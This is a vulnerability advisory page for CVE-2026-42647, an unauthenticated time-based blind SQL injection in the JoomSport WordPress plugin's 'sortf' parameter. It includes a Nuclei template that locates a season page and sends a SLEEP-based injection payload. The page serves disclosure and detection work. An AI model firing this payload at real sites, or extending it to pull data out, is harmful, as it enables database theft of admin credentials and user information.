CVE-2026-42647: JoomSport <= 5.7.7 - SQL Injection

2026-06-17 JoomSport PoC Public

Description

The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.

PoC

id: CVE-2026-42647

info:
  name: JoomSport <= 5.7.7 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.
  impact: |
    Unauthenticated attackers can extract any data from the WordPress database including admin credentials, user emails, and plugin-stored secrets via time-based blind SQL injection.
  remediation: |
    Update to JoomSport version 5.7.8 or later, which implements column whitelist validation.
  reference:
    - https://patchstack.com/database/wordpress/plugin/joomsport-sports-league-results-management/vulnerability/wordpress-joomsport-plugin-5-7-7-sql-injection-vulnerability
    - https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/base/wordpress/classes/class-jsport-getplayers.php#L153
    - https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/tags/5.7.5/sportleague/classes/objects/class-jsport-playerlist.php#L80
    - https://nvd.nist.gov/vuln/detail/CVE-2026-42647
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-42647
    epss-score: 0.01323
    epss-percentile: 0.69476
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: beardev
    product: joomsport-sports-league-results-management
    framework: wordpress
  tags: cve,cve2026,wp,wordpress,wp-plugin,joomsport,sqli,vkev

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-sitemap-posts-joomsport_season-1.xml"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<loc>")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: season_path
        part: body
        group: 1
        regex:
          - '<loc>[^<]*?//[^/]+(\/[^<]+)</loc>'
        internal: true

  - raw:
      - |
        GET {{season_path}}?action=playerlist&sortf=post_title&sortd=ASC HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Name", "Match played", "Played minutes")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET {{season_path}}?action=playerlist&sortf=post_title%60,(SELECT/**/x/**/FROM/**/(SELECT/**/SLEEP(6)/**/AS/**/x)/**/AS/**/t)%23&sortd=ASC HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains_all(body, "Name", "Match played", "Played minutes")'
        condition: and
# digest: 490a004630440220388459bfb344e1af5a2961c5494d3d0506fb1a87ef8230b21ff875b1d6c98e12022048354adf07ba92eb5ed7477cb2aba659b00bd64366c339bf69e49bf6e7329c89:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities